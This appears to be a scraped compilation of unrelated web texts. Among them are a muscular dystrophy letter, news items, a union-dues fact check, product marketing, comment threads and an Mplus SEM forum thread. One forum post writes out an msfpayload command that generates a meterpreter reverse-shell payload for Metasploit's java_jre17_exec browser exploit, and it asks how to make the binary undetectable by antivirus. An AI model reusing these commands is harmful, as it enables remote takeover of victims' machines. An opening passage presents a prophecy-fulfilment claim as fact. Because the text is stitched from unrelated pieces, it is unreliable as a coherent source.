Ibn Abi Shayba narrated from Abi Jald that he said: Corruption will be seen, and other corruptions will follow it and THE FIRST WILL PROVOKE THE PASAGE OF THE LAST INTO FIGHTING WITH SWORDS, and after that will come a corruption in which all that is unlawful will be regarded as lawful. And then the caliphate will come to Hazrat Mahdi (as), the most auspicious of men, as he sits at home. (Ibn Hajar al-Haythami, Al-Qawl al-Mukhtasar fi `Alamat al-Mahdi al-Muntadhar, 4.1)
In the incidents in Egypt, Mubarak supporters began attacking the protesters, using SWORDS, KNIVES AND CLEAVERS. The way these incidents happened just as foretold by our Prophet (saas) is one of the miracles bestowed on our Prophet (saas) by Allah.

Living With
Dear Friends:
When I was 4 years old, my parents took me to a specialist to find out why I walked with an unusual waddle. They learned I had limb-girdle muscular dystrophy.
Like many of you, we were shocked and scared by this diagnosis. My parents wondered why I had this disease; we had no history of it in our family.
But LGMD is caused by any of several rare genetic defects that people may not even know they have. That means it wasn't caused by anything you or your parents did, and you didn't catch it from anyone.
My family had to learn a lot about muscular dystrophy and make some major adjustments, both physical and psychological. Our world came to include doctor visits, leg braces, physical therapy and lots of questions. But gradually, muscular dystrophy just became a part of our lives, and we coped with it by learning all we could. Thanks to my determined parents, my devoted sister and the help of the Muscular Dystrophy Association, I had a wonderful childhood.
I graduated from college, and I'm now working in L.A. in the television industry. I use a wheelchair or scooter part time to help me when I work, travel and have fun with my friends.
I hope you can tell from my story that having limb-girdle muscular dystrophy doesn't mean the end of your choices or your dreams. It isn't easy to live with muscles that grow weaker over time, but you can have a very rewarding life with this condition.
Not everyone with LGMD has the same experience, but most of those I've met have busy, fulfilling lives like mine. I know of a writer, a doctor, an air traffic controller, some teachers, school and college administrators, a real estate professional, a travel agency operator — all with limb-girdle MD. Many of these bright, active, independent people are married, and some have children — and grandchildren.
Those of us with LGMD have a lot of support today. People with disabilities have more opportunities than ever before to develop and use their abilities. Federal law guarantees us a public education, equal employment opportunity and access to public places. Computers and technology help me and other people with muscular dystrophy to move around, write, work and drive.
By far, my greatest ally in living with LGMD is MDA. I'm sure my parents would say the same thing. The Association is also the world leader in research on neuromuscular diseases, and its scientists have made many exciting discoveries about LGMD in the years since my diagnosis. We all pray for the day when no one has to have a neuromuscular disease.
MDA will help you answer all your questions as they arise. As you face the challenges ahead, please remember two important things about having LGMD: First, MDA is making rapid progress toward better treatments and a cure. Second, you're not alone.

LISTEN: Tears For Fears unveil Arcade Fire cover
Listen to Tears For Fears on iHeartradio | Listen to Arcade Fire on iHeartRadio
Tears For Fears are giving Arcade Fire's song "Ready to Start" what they call a "twist of TFF."
The new wave duo released the cover online as a form of "reciprocal cross-generational love." Roland Orzabal and Curt Smith explain that they've appreciated artists ranging from Katy Perry to Kanye West covering and sampling their songs over the years, so they felt a little pay back was in order.
Tears for Fears are currently in the studio working on the follow-up to their 2004 comeback album, "Everybody Loves a Happy Ending," but there's still no word on when some original tunes from the band might surface.
Arcade Fire, meanwhile, are scheduled to release their next album on October 29th. The record - which is rumored to be titled "Reflektor" - will be the Canadian indie rockers' first since 2010's Grammy-winning effort The Suburbs.

Brevard, N.C. - The Tornados defeated North Greenville in the front half of the doubleheader, 4-2, led by Martika Elmore's 12 strike outs, and RBI's from Kristina Clayton and Chelsi Mallory, but were then turned away in the second game 5-3 despite a late rally by the Tornados.
The Tornados are now 2-6 on the year, while North Greenville fell for the first time with a 7-1 record.
Elmore picked up her first win of the year and tallied 14 strikes on day to total 38 on the early season, while improving her ERA to 3.03 in 30 innings.
Liz Houser was dealt the loss in the second game falling to 1-4.
Game 1: Brevard 4, North Greenville 2
Box Score
North Greenville scored first after leading off the game with a Kansas Wofford double. Allison Bailey later drove her in with a single up the left side. Elmore kept the Crusaders' at bay in the second inning striking out the side, for three of her 12 strikeouts in the first game.
Brevard had a big fifth inning, scoring three runs to take the lead.
Becca Curlee began the inning walking and then was sacrificed to second by pinch hitter, Nicole Heusel. Curlee then advanced to third on an infield hit by Sarah Carlos, and scored when Clayton doubled. Mallory kept the inning alive with a single through the right side, driving in both Carlos and Clayton.
North Greenville added one more run in the 6th inning when Allison Baily sacrificed Hope Brewer in from third after she tripled with one out.
Brevard added an insurance run in the sixth when Clayton drove in her second RBI of the game in the form of Michelle Turner who reached base on a double to left field.
Game 2: North Greenville 5, Brevard 3
Box Score
Brevard had been down 4-0 when Jennifer Gift scored the first Tornados run of the second game in the bottom of the fourth on a Turner single.
Turner, whose diving catch in the top of the third held the Crusaders scoreless with a runner on and one out, went two for four on the day with an RBI, a run, and a timely walk to start the seventh.
Kathleen Crady pinch ran for Turner, advancing to third when Clayton doubled for her third hit of the day. Crady scored the next at bat when Kayla Dorsey doubled.
Mallory picked up her third RBI of the day when she grounded to second and Clayton scored. Taylor Roof recorded her third and final strike out of the day to halt the Tornados rally, and receive the win.

OKLAHOMA CITY -- Shop 24 Global LLC's first robotic convenience store for Greyhound -- and the state of Oklahoma -- is set to open in early September. Located in the Oklahoma City Greyhound terminal, it will be owned and operated by Total Express 24-7 LLC (Edmond, OK).
"We saw an opportunity with Shop24 to bring this 'ultra convenience' to individuals who do not have immediate access to a traditional convenience store," said Ty T. Hartwig of Total Express 24-7. He added that his company plans to open several more Shop24s in locations around the city in the coming months.
"We are excited to be the first in our industry to showcase a robotic convenience store in our terminal, with the hope that we will expand this offering to other locations," said Mark Frank, director of foodservice for Greyhound Lines Inc. "Having a wide variety of quality products available 24/7 at the touch of a button is groundbreaking, allowing Greyhound to efficiently deliver products to meet our customers' needs in a fast and timely manner."
With a 10x13-ft. footprint, the automated stores can accommodate as many as 200 selections ranging in weight from 1 oz. to 8 lbs. Machines merchandised with snacks, refrigerated meals, cleaning supplies and health and beauty products are currently installed on several college campuses and in apartment communities across the U.S.
Greyhound Lines Inc., founded in 1914, is the largest provider of intercity bus transportation, serving more than 2,300 destinations with 13,000 daily departures across North America. It once ran Greyhound Food Management, which had a sizable vending business.

Chely Wright welcomes twin baby boys
Listen to Chely Wright on iHeartRadio
(Yahoo!) - Chely Wright is no doubt feeling a little "blue" this week, as she and wife Lauren Blitzer Wright celebrated the birth of their identical twin sons on Saturday.
The boys are named George Samuel and Everett Joseph — after their great-grandfathers — and, according to a report from People, are doing great despite arriving a bit ahead of schedule. The babies were originally supposed to be born sometime in June.
Wright revealed the gender of her twins back in March, as well as gave some insight on her pregnancy, which seemed to be routine and smooth with the exception of some nausea in her first trimester. As for the boys themselves, "I'm not sure if they'll write country music or show tunes," the country star joked.
Wright married Blitzer in August 2011, following her much-publicized coming out in May 2010.
Congratulations to the new parents! Be sure to leave your well-wishes here, too!

One Month Into Hurricane Season, South Floridians Unprepared
Nearly a month into the 2014 Atlantic hurricane season, there's the usual concern that the local population has become apathetic when it comes to the possibility of a storm strike, since it has been nearly nine years since South Florida experienced a hurricane.
One indication of possible complacency is the reported failure of the state's hurricane supply tax-free week.
Broward Emergency Management Director Miguel Ascarrunz says, at the very least, families should have an evacuation plan and a hurricane supply kit.

Right-Wing Media Are Wrong About Worker Contributions For Unions' Political Spending
Research ››› ››› KEVIN ZIEBER, ANDY NEWBOLD & REMINGTON SHEPARD
Right-wing media falsely claimed that workers at organized work places are compelled to pay dues that go toward union political activities and that so-called "right-to-work" legislation in Michigan would give workers a choice about paying for these activities. In fact, workers at unionized work places already can choose whether to pay for political activities of their union.
Right-Wing Media Claim "Right-To-Work" Laws Allow Workers To Opt Out Of Paying For Union Political Spending
Fox News' Steve Doocy: "Right-To-Work" Means You No Longer Have To Pay Union Dues That Go To "Political Causes You Don't Support." On Fox & Friends, co-host Steve Doocy hyped right-to-work laws, saying these laws will make it so that workers aren't compelled by unions to pay money that go to causes they do not support:
DOOCY: Later on today, the Michigan House of Representatives is going to take up two bills, they were passed by the state senate in Michigan on Thursday. They're right-to-work bills. And what they would do is they would make, effectively, Michigan the 24th right-to-work state in the country, which means you would not have to join a union as a pre-condition of employment. For instance, if you are a teacher, and you don't like the fact that, you know, you got to pay union dues and it goes to political causes that you don't support, going forward, you won't have to, in Michigan. [Fox News, Fox & Friends, 12/11/12]
Wall Street Journal: "Right-To-Work" Ends Union's Ability To "Coerce Workers To Join And Pay Dues That They Then Funnel To Politicians Who Protect Union Power." A Wall Street Journal editorial claimed that if states adopt "right-to-work" laws, unions could not "coerce workers to join and pay dues that they then funnel to politicians who protect union power." [The Wall Street Journal, 12/10/12]
Fox Business' Charles Payne: "People Want An Opportunity" To "Not To Be Shaken Down For Things They Don't Believe In." During a segment on Fox's America's Newsroom about Michigan's "right-to-work" law, guest host Gregg Jarrett asked his guest Charles Payne why union membership is dwindling in the U.S. Payne falsely suggested that workers don't get to "make their own mind up" about paying for their union's political activities:
JARRETT: Twenty-five, 30 years ago, unions were roughly 20 percent of the workforce. Now they've dwindled to less than 10 percent.
PAYNE: And they continue to dwindle as people in Michigan have the opportunity to make their own mind up. Listen, you know, unions spent millions, almost maybe $100 million on a presidential election last go-around. There are people in the union who didn't want all their money to go to the Democratic candidates. I mean, listen, this is called democracy. People want an opportunity A, to work, B, not to be shaken down for things they don't believe in. [Fox News, America's Newsroom, 12/11/12]
In Fact, Workers At Organized Work Places Are Not Required To Be Full Union Members
NLRB: Workers That Don't Want Full Union Membership "Pay Only That Share Of Dues Used Directly For Representation" Of Union Contract They Work Under. The National Labor Relations Board (NLRB) explains that workers do not have to be full union members, but instead must only pay for the union representation they receive by working at a union shop, regardless of their membership status:
The NLRA allows employers and unions to enter into union-security agreements, which require all employees in a bargaining unit to become union members and begin paying union dues and fees within 30 days of being hired.
Even under a security agreement, employees who object to full union membership may continue as 'core' members and pay only that share of dues used directly for representation, such as collective bargaining and contract administration. Known as objectors, they are no longer full members but are still protected by the union contract. Unions are obligated to tell all covered employees about this option, which was created by a Supreme Court ruling and is known as the Beck right. [National Labor Relations Board, accessed 12/11/12]
Center For American Progress: "Right-To-Work Has Nothing To Do With People Being Forced To Be Union Members." The Center for American Progress report titled "Right-to-Work 101" explains that "right-to-work" laws simply "allow some workers to receive a free ride" by receiving benefits from a union contract without having to pay for it:
In states where the law exists, "right-to-work" makes it illegal for workers and employers to negotiate a contract requiring everyone who benefits from a union contract to pay their fair share of the costs of administering it. Right-to-work has nothing to do with people being forced to be union members.
Federal law already guarantees that no one can be forced to be a member of a union, or to pay any amount of dues or fees to a political or social cause they don't support. What right-to-work laws do is allow some workers to receive a free ride, getting the advantages of a union contract -- such as higher wages and benefits and protection against arbitrary discipline -- without paying any fee associated with negotiating on these matters.
That's because the union must represent all workers with the same due diligence regardless of whether they join the union or pay it dues or other fees and a union contract must cover all workers, again regardless of their membership in or financial support for the union. In states without right-to-work laws, workers covered by a union contract can refuse union membership and pay a fee covering only the costs of workplace bargaining rather than the full cost of dues. [Center for American Progress Action Fund, 2/2/12]
And These Workers' "Agency Fees" Do Not Pay For Union Political Spending
CWA v. Beck: Unions Cannot Force Non-Members To Pay Dues For Political Action. In the 1988 U.S. Supreme Court case Communications Workers v. Beck, the majority found that the Communications Workers of America (CWA) could not charge non-members in work places they organize fees that paid for political action by the union. [U.S. Supreme Court, CWA v. Beck, 6/29/88]
Locke v. Karass: Non-Union Workers At Organized Work Places Cannot Be Forced To Pay For "Political, Public Relations, Or Lobbying" Activities By Unions. In a 2009 U.S. Supreme Court decision, the majority, echoing past precedent, reaffirmed that non-union members in work places are only to pay a service fee that equaled to the amount collective bargaining services and contract maintenance services cost. [U.S. Supreme Court, Locke v. Karass, 1/21/09]

You might enjoy the fireworks tonight, but kitty may be hiding under the bed. There's a new solution for helping cats through stressful situations, like fireworks, storms or other loud events, vet visits, car trips, and grooming. It's the Thundershirt – an invention that's been used for years to reduce anxiety in dogs — now available for cats, and it's proving to be quite a useful tool.
The Thundershirt is a little vest that applies gentle, constant pressure to your cat's torso, calming them and reducing anxiety. According to the Thundershirt website, "anxiety experts believe that pressure has a calming effect on the nervous system and may release calming hormones like endorphins or oxytocins." Using pressure to calm and relieve anxiety is common practice: parents swaddle newborn babies, pressure has been used to relieve anxiety in people with autism and with children having certain behavioral problems, and vets and trainers have used gentle pressure when working with animals for years.
Here is a testimonial from a cat guardian who has had success with the Thundershirt:
"Thundershirt has been successful in eliminating Jack's vocalizing in the car and at home, and reduced hiding at home. His symptoms of fear during noisy events, such as vacuuming and thunder, have been completely eliminated. He will stay in the same room now and even watch me vacuum. During thunder, he calmly sits beside me and will even sleep stretched out on my bed. He has expressed a much calmer nature while wearing his Thundershirt. I am so glad to have it."
Lithonia, Georgia
The company gave me a Thundershirt to test with my cats. I'm trying it with Andy, who is generally high-strung, and Ratso, who is having some anxiety around the new foster kittens (she's not a fan). You need to get your cat used to wearing the vest, which can take a little training. At first, you may get the "Freeze & Flop" where the cat becomes immobilized and falls over, but the Thundershirt website has excellent guidelines for working with your cat to get the maximum benefit from the product. Once the cats have become accustomed to wearing the Thundershirt, they can move around easily and symptoms are reduced immediately. Check out the FAQ page on the Thundershirt website for lots of useful information. I'm still getting Andy and Ratso used to it and will keep you posted on their progress.
The Thundershirt is easy to put on and can be adjusted to apply varying amounts of pressure as needed. It is made of lightweight breathable material and can be machine washed. This is a simple, drug-free solution for reducing anxiety in cats, and it's an affordable solution, too, at just $39.95.
One lucky reader is going to win a Thundershirt to try with their cat! The winner will get to specify the size (S, M, L). To enter, please leave a comment on this post telling us why you need a Thundershirt. The winner will be chosen in a random drawing and announced on July 11, 2012. One entry per person. This giveaway is limited to addresses in the US and Canada.

The thing is...it is damn hard and challenging, and that is what makes it fun. Here is a vid of the 120 SR. These vids are not me... [youtube]Hm5QAJzunPw[/youtube] and here is a vid of the little Blade MSR [youtube]lOAHw_MD56g[/youtube] Of course, crashing is part of the learning how to fly, but these helicopters are very durable and parts are relatively inexpensive...because I know! :laugh2: And, here is a vid of what is called 3D flying, which I will never accomplish! What I do is called "sports flying"...just trying to fly the damn thing like a real helicopter. At least here in Utah I have lots of open areas to crash and burn. [youtube]p8t41avFuCc[/youtube]

St. Euthymios was born in Melitene, Armenia (now Makatya, Turkey) in a.d. 377 to pious parents. He had been born after fervent prayers to God, for they were barren, and his mother and father, Dionysia and Paul, heard an angel who told them to be of good cheer (Euthymios in Greek) because they would have a child who would bring gladness on the Faithful and destroy heresy.
The child grew and was given to Eutrojos, the Bishop of Melitene, when his father died, where he was trained and became a priest. He was sent to look after hermits and monasteries. At 29, St. Euthymios traveled to Jerusalem and lived in a cave with St. Theoktistos, who became his mentor in desert monastic life. He was mighty in prayer and fed many by multiplying food, helped barren women bear children, cured the sick, in a drought prayed for rain which soon came, and was clairvoyant. At one time a Heavenly light shone over him while he performed the Divine Liturgy. The ruins of his monastery can be seen today and are found at Khan el-Ahmar in the Judean desert near Jerusalem. He was the first founder of communal monastic life in Palestine, dying in a.d. 473.

So I've heard about generic/custom and thought it would be a nice ideea to use it with java_jre17_exec:
I've generated my shellcode:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.132.128 LPORT=1234 R | msfencode -a x86 -c 1 -e x86/shikata_ga_nai -t c | tr -d '"' | tr -d '\n' > /root/meter.shell
use exploit/multi/browser/java_jre17_exec
set PAYLOAD generic/custom
set PAYLOADFILE /root/meter.shell
[-] Exploit failed: Could not locate a compatible payload for Java/["java"]
Another question:
I'm using PyWin to create a FUD meterpreter binary.
1)How could I generate shellcode from my binary so that I could use it with generic/custom along with java_jre17_exec? //later, found a perl script which does it.
2)Will I get an established connection in the java_jre17_exec exploiting session if I use my custom binary? Or I should open another session using multi/handler?
Thank you.

It was first launched to honor co-host Amy and her mother Judy, who has been battling Cancer for two years. Throughout their struggle, both women made a conscious effort to not let hardship or difficulty cause them to lose hope or positivity in their lives - instead, they choose to be happy, pass on joy, and influence others to do the same.
To date, thousands of supporters have shared their Pimpin' Joy efforts via Twitter and Instagram using #PIMPINJOY. In addition, Country artist Walker Hayes recently wrote and dedicated a song to the effort called "Joy Like Judy," which can be heard at pimpinjoy.com

Republicans in Michigan are bringing back transvaginal ultrasounds for women who want an abortion.
This just allows GOP Ob-Gyns to "practice their love on women."
If at first you don't succeed, probe and probe again.
Why don't they just short circuit all this bullshit, and make a law making women (all women, not just married women) chattel. And while they're at it, make women worth 3/5 of a male.
They want to turn Michigan into 1859 Mississippi, what the hell. Nobody has to live there.
Poverty makes it difficult to move, and Michigan's pretty fucked, economically. I'd sign on if we could airlift out anyone who wanted to leave but couldn't afford it on their own, plus all kids.
Then why not trans-anal probes for gun owners ? Don't want a inflamed hemmoroid to cause a shooting spree !
Hey, I like that!
I mean the idea. I like the idea!
I thought that had been outsourced to extraterrestrials.
That was one of my favorite Kids In The Hall skits.
"Moderate" governor Rick Snyder woon't push this, because he's "moderate." But when the whackadoodle Republican legislature passes this, he'll get a call from Amway's Dick DeVos reminding Snyder who his boss is, and that disobeying the boss will result in $10m spent on a primary challenge, and Snyder will dutifully fall in line and sign the bill.
Ding! Ding! Case of Turtle Wax for you.
Amway's Dick DeVos
Erik Prince's brother-in-law, don't forget, just in case some muscle is necessary . . .
My very first thought was that Republican lawmakers who vote for such a legally-required rape be given proctoscope examinations to determine if their brains are mislocated anally.
Then I clicked to the TPM story and the very first comment posted was that exact recommendation.
Great minds…..
It is obvious that Republican law makers have no understanding of freedom, the American founding documents, rights of people to be free from unwelcome bodily insertions, and don't know the difference between right and wrong.
Scary by true… these people can't tell the difference between right and wrong, and they believe that they have the ability to lead the country. Lead it into the middle ages, or perhaps even the dark ages.
What monsters they are!
(e) Because many abortions in this state are performed in
17 clinics devoted solely to providing abortions, women who seek
18 abortions at these clinics normally do not have a prior patient19
physician relationship with the physician performing the abortion
20 nor do these women continue a patient-physician relationship with
21 the physician after the abortion. In many instances, the woman's
22 only actual contact with the physician performing the abortion
23 occurs simultaneously with the abortion procedure, with little
24 opportunity to receive counsel concerning her decision.
This nor prior relationship justification applies to almost any hospital and clinic visit or surgical procedure that any person has.
So why would this apply only to women and abortion? I'm not quite sure how a vaginal probe substitutes for a prior relationship with a doctor, but if it is so then it should be required for any procedure from stitching up your owie to open heart surgery. Wouldn't you think?
This is going to be an interesting floor debate because the house leadership took away the speaking privileges of two female legislators for saying the word "vagina" during the last group of ridiculous bills that went through in 2012. I wonder if the chair will rule "transvaginal" to be a dirty word or not.
Depends on whether the person saying the word has a vagina or not.
TMI alert- but….
Very early in my pregnancy (around 6 weeks), I had a transvaginal ultrasound done. Voluntarily. The RE wanted to check for multiple embryos, a heartbeat, and to ensure the embryo and fetal pole were present. Even with me being relaxed for the procedure, it was still VERY uncomfortable. It's not exactly a small piece of equipment. I can't imagine having it done against my wishes. This whole thing disgusts me.
Transvag was SOP for our OB/GYN for the earliest screening, too. My wife, who has a high pain threshold, was clearly uncomfortable, even though the OB was clearly trying his best to be gentle. As you said, I can't imagine having to endure it by coercion.
For the involuntary ones, I somehow doubt that sedatives will be covered for these procedures. I wouldn't be surprised if some Rethugs wanted sedatives for such procedures banned, because they're just that misogynist and sadistic.
Now I'm realizing why TPM still has the 2012 election results up in the sidebar…
Looks like Jase Bolger, the Speaker of the Michigan House, says he's not for the bill, and I should think that would be a serious impediment to passing it. I'm no fan of Bolger at all, but if he's opposed to this bill (for whatever reason) and willing to say so, I have to give him credit.

Alberta Ferretti Spring 2012
Welcome to Milan, where we are two shows down and one trend up, within the space of three hours. Incoming at Gucci at 3:00 p.m., Frida Giannini led with gilded Deco flapper dresses, and by 5:00 p.m., there was Alberta Ferretti dealing out drop-waists, swishy Daisy Buchanan-ish box-pleats, and plenty of fagotting. (That's the term, of course, for the sewing technique which joins two fine linen fabrics together with a sheer panel, much used in vintage nightwear and lingerie.) Why would this be so? Who knows, but in this city of sellable clothes, a double-quick assimilation of Marc Jacobs's vague conceptual leanings towards a low-waisted skirt silhouette already seems to be making its way through the system.
For a house with foundations in chiffony, floaty things, fixing on lingerie as a subject seemed an appropriate trope for a season in which Ferretti perennially finds solutions for summery occasions: weddings, outdoor parties, family gatherings, and the like. As a white spaghetti-strapped dress with inserts of lace came out, one thought again about the return of the bias-cut slip-dress—last in its heyday during nineties-grunge glory days on the likes of Kate Moss and Courtney Love (not to mention, Marc Jacobs, back in his Perry Ellis days).With one eye on the classically pretty, and another on the undercurrents of fashion, Ferretti was smart to tune into that—and she played plenty of airs on the theme. She does solid-sheer detail in forgiving shapes, too. If you're nearer the matriarch than the waif-stage of life, you will still be able to count yourself amongst the fashionably fagotted in Ferretti's airy linen trenchcoats and pajama-like pantsuits.
Lingerie-redux wasn't the only trend Ferretti covered. Within this collection, she also inclined her head toward the African-cum–tropical beading and exotic palm-prints, which are replicating themselves ever more densely over the collections. Some of her halter-dresses, colorblocked in grass green, brown, and spicy tomato were strong, wearable, modern examples of the subtle things Italian knitwear manufacturers can do. As for the tropical prints? At this stage of the collections cycle it feels like time to reserve judgment on how attractive they'll seem by next summer. Fashion's jungle telegraph has been drumming so loudly in the last two weeks, it's starting to cause a premature headache.

We offer a Free quote and UK design service, get in touch today.
Each installation of artificial grass is different, so the cost of it will also vary. The jobs that we do are different because each client is and they have different requirements.
Some people assume that it is going to be much cheaper if they install artificial grass but installers receive discount from fake turf suppliers, whereas individual customers will not.
Anothe factor which will alter the prices of artificial grass surfaces, is that there are different design specifications, sizes and many types of fake grass.
If you're looking for an artificial grass cost breakdown in Alsop en le Dale DE6 1 then obviously you have two elements which is the supply only of artificial turf and then the installation prices. These can vary depending on the budget you've got because obviously it is not always the best solution to choose the cheapest quotation you receive and you really ought to be looking at best value.
So your first question while reading this will be "How do I check best value?" Well that is a very good question and below is a breakdown of why some companies might be more expensive:
Quality of materials: Obviously the quality of materials makes a dramatic difference in your synthetic grass cost because depending on your budget this will determine whether or not you can afford a premium product as opposed to an inferior lower quality carpet. This is where best value needs to checked because you have to make sure the specification of the synthetic turf you're buying is right for you.
Sub Base: The groundworks on which your surfacing will be installed is crucial also in the evaluation process because you need to make sure the preparation works are adequate so I would definitely be asking for previous completed works and case studies.
This question is a great one to ask because yes you should save money installing the surfacing yourself however throughout the years we've heard many horror stories on this and we strongly advise on placing the order for supply and install of the surfaces. Why?
Material Prices: With regards to the preparation works then using a specialist company to complete the groundworks is strongly advised because their purchasing power is much better as they will be receiving maximum discount from quarries, builders' merchants for the stone, geotextile membrane, sand screed and edges needed for the installation.
Equipment / Tools: Having the correct tools and equipment to carry out the works is crucial and we've heard many stories of people purchasing tools which ends up making the completed artificial turf cost more expensive than it would have been to outsource and subcontract the full job out.
Faulty Installation: Although the installation of synthetic turf might seem simple, specialist companies in the UK have over a decade of experience in installing these surfaces and again we've heard many stories of a full replacement needing to be carried out from faulty installations making the final quote over double the initial synthetic grass cost they were originally quoted.
When choosing the company you're going to use, you must take into account many factors along with the synthetic turf cost you have been given from the professional contractors in Alsop en le Dale and these are some questions you must get information on:
How long has the company been trading: This is vital in your tender evaluation if comparing quotations because over the years we have heard of 'white man van' companies rolling onto jobs offering 5 years guarantee when they haven't even been trading for five years in business or have previously gone bust and set back up meaning all your warranties that lie with this company would become null and void.
Previous works completed: It is always a good idea to ask the professional contractor to supply you with a list of projects completed with photos and testimonials or references because every company can advertise to be the best within the UK but hearing this from clients and physically looking at previous projects with references helps you make up your mind.
Financials: Checking the trade history of a company is also important because if a contractor is in financial difficulty then what assurances do you have if something failed on site the company you employed would return because many struggling with debts simply go bankrupt so again this leaves all warranties null and void.
General feel of the company: This is pretty broad but in general you get to feel the quality of the company from the website, the quotation received and general overview of the company and it is important in making sure you feel confident in the services you're going to receive.
This homepage is outlining what you should be looking for as well as the physical costs but if you're after budget rates then please click on any of these links below which will give you some figures, rates and prices to install the following:
Artificial grass cost to a back garden installation
Artificial grass cost to an all weather sports pitch
Artificial grass costs to playground area
The links above will take you to pages which highlight approximate quotes you will be receiving for the works to see whether these are within your budgets. I will finish this page off by saying you need to remember these quotes "quality remains and prices are forgotten" which highlights that in years to come you actually appreciate the quality of works with the prices you paid being a distant memory and also "seek quality and pay once" is a great way to explain the best value evaluation. Over the years we have spoken to thousands of clients who have explained they went with the cheapest quote and regret this massively because a couple of years later they have had to pay again to have this upgraded as the surface was poor quality. This is why it's always important to carry out background checks on your synthetic turf installer to make certain you get the best product at the right price.
We are able to offer you more information on the artificial grass costs if necessary. If you are interested to find out more about an artificial grass cost breakdown in Alsop en le Dale DE6 1 then please make sure to contact our team using the enquiry form on this page.

c.1400, present participle adjective from walk (v.). Walking sickness, one in which the sufferer is able to get about and is not bed-ridden, is from 1846. Walking wounded is recorded from 1917. Walking bass is attested from 1939 in jazz slang. Walking stick is recorded from 1570s; the insect so called from 1760.

Meaning shifted in early Middle English, perhaps from colloquial use of the Old English word. "Rarely is there so specific a word as NE walk, clearly distinguished from both go and run" [Buck]. Meaning "to go away" is recorded from mid-15c. Transitive meaning "to exercise a dog (or horse)" is from late 15c. The surname Walker probably preserves the cloth-fulling sense.

Two suspects in an armed carjacking were taken into custody Friday afternoon after leading police on a chase through Salt Lake City streets, then onto the freeway, where the wanted men reached speeds of about 120 mph in the stolen Porsche.
The suspects, ages 24 and 28, were arrested about 1:45 p.m. after dumping the stolen car near 3100 South and 700 East, said Unified Police Lt. Justin Hoyal.
One man was found hiding behind a shed, the other was arrested after a foot chase that ended when officers used a Taser to subdue him.
Hoyal said the incident began about 9:18 a.m. near 4600 South and Highland Drive.
"The victim pulled into the parking lot of the business where he worked. A white pickup pulled in behind him, a passenger got out, confronted him with a handgun. The suspect demanded his car, keys and phone," Hoyal said.
The driver complied and was not injured, watching as the thief followed by the pickup sped away southbound on Highland Drive in the gray sports car.
Multiple Utah police agencies were on the lookout for the carjacker and his accomplice.
At about 12:45 p.m., a tipster steered police to 200 West and Paxton Avenue (1180 South) in Salt Lake City, and more than a dozen Unified Police and Salt Lake City police units converged on the area.
When an officer spotted the car, the suspects led police on a chase along city streets before they entered Interstate 15 at 1300 South, then headed east on I-80, where they reached speeds of about 120 mph, Hoyal said.
The Porsche exited I-80 at 1300 East, then headed south toward the Brickyard area.
Officers found the car abandoned at about 1:20 p.m., the surrounded the area and searched until they flushed out the two suspects.
Hoyal said the men face possible charges of aggravated robbery, fleeing and possession of a stolen vehicle.

Can MIMIC be incoperated in SEM?
Mplus Discussion
Structural Equation Modeling
posted on Tuesday, August 26, 2003 - 12:21 pm
Hi Dr. Muthen,
1. Can MIMIC be incorperated in SEM? Is there any problem on interpreting the result? For example,
f1 by y1-y5;
f2 by y6-y10;
f3 by y11-y15;
f4 by y16-y20;
f2 on f1;
f3 on f2 f1;
f4 on f3 f2;
f1 f2 f3 f4 on x1-x3;
2. By the way, in SEM, the minimum number of indicators for a factor is two, not one. Am I right? If I want to treat a independent variable as a latent variable in SEM, how to do it?
Linda K. Muthen
posted on Tuesday, August 26, 2003 - 1:41 pm
1. Yes. No.
2. You can have one indicator. If the residual variance is zero, then the factor and the indictor are identical. If the residual variance is a function of reliability, measurement error can be accounted for by fixing the residual variance. A two indicator factor model is not identified unless there are other factors in the model. At least three indicators is desirable.

Hello Dr. Linda,
In question 1 in discuss August 26, 2003, if x1-x3 are categorical covariates e.g., sex, school race, is the model in question 1 meaningful? I do not think covariates can be incoorperated in SEM at present developmental level of SEM, am I right?

This is a question about nomenclature. How do MIMIC models differ from SEM models? Must MIMIC models have at least some predictors that are measured, and SEM models have at least some predictors that are latent? Or is there some other distinction?

I'm not sure there is a definition that everyone uses. We see any model with a latent variable where there are observed or latent predictors as an SEM model. So for us, bringing predictors into a CFA model makes it an SEM model. The MIMIC model is a CFA with covariates. It is therefore an SEM model.

Hi Dr Muthen
I started a SEM course and I made multiple researches and read some articles but I was not able de find a simple definition of the MIMIC model. Would you be please able to help in explaining the concept in simple words and shematize it if it's possible?

Hi Dr Muthen:
I would like to test a structural model in which an endogenous latent variable is predicted by a dichotomous covariate (such as gender). In other words, I want to control for the impact of x (gender) on the endogenous variable in SEM.
Is this possible? For example..
F1 y1 y2 y3;
F2 y4 y5 y6;
F3 by y7 y8 y9;
F3 on F1 F2;
F3 on x;
(x is a dichotomous variable like gender).

Thank you Linda, As follow-up of the previous question, I want to double check a few things:
1. Can I use a continuous variable (instead of dichotomous variable) as covariate?
2. If I want to a structural model with a covariate, then I should use the same covarate predicting the same latent variable in the measurement model. Am I right?
3. If you know an article that tests a structural model with a covariate, could you share with me the reference?
Thank you.

You can use either a binary or continuous observed variable as a covariate. See the topics MIMIC and SEM under References on the website for papers on these topics.

I have a good fitting CFA model and I'm running a modified MIMIC model now where I regress some of my latent factors from my CFA on several demographic covariates--these include binary covariates (gender, etc) and continuous (age). I seem to be running into a problem with the age variable, I think because its variance is so much bigger than anything else in the model. The model will not run and I get an error message indicating there is a problem with the age variable in the psi matrix. Can you advise me how to handle this? Thanks. The model runs fine if I remove this variable and it is definitely reading the data in correctly.

Dear prof Linda and Bengt
I have a question regarding IRT and SEM. I am planning to used Rasch rating scale measures as indicators in SEM. However, I am running into some problems with emperical under identification because the Rasch measures are expressed for the entire scale and not for individual items comprising a scale.
As indicated above, I know that it is possible to fit an SEM model with single indicators. However, I am testing moderation in SEM, thus I need to compute item parcels to capture the interaction effect.
Firstly, is it possible to convert lambda factor loading into interval Rasch rating scale measures for individual items and, secondly, if this conversion is possible, is it methodologically prudent to combine these Rasch rating scale measures to create interaction effect parcels in MPLUS
Bengt O. Muthen
posted on Monday, March 28, 2011 - 4:42 pm
I am not clear on your questions because I don't see how moderation requires item parcels or how factor loadings relate to a Rasch scale. It seems like it would be best to work with the responses to the individual items if you have them. SEM in Mplus can handle an IRT measurement model and can handle interactions with the latent variable that the IRT model defines.

I am working with a model including:
4 binary and 1 continuous control covariates(x1-x5)
2 observed exogenous predictors (z1-z2)
3 latent exogenous predictors (L1-L3)
1 latent mediator (LM1)
1 observed ordinal outcome (y)
The structural part of the input syntax is:
L1 with L2 L3;
L2 with L3;
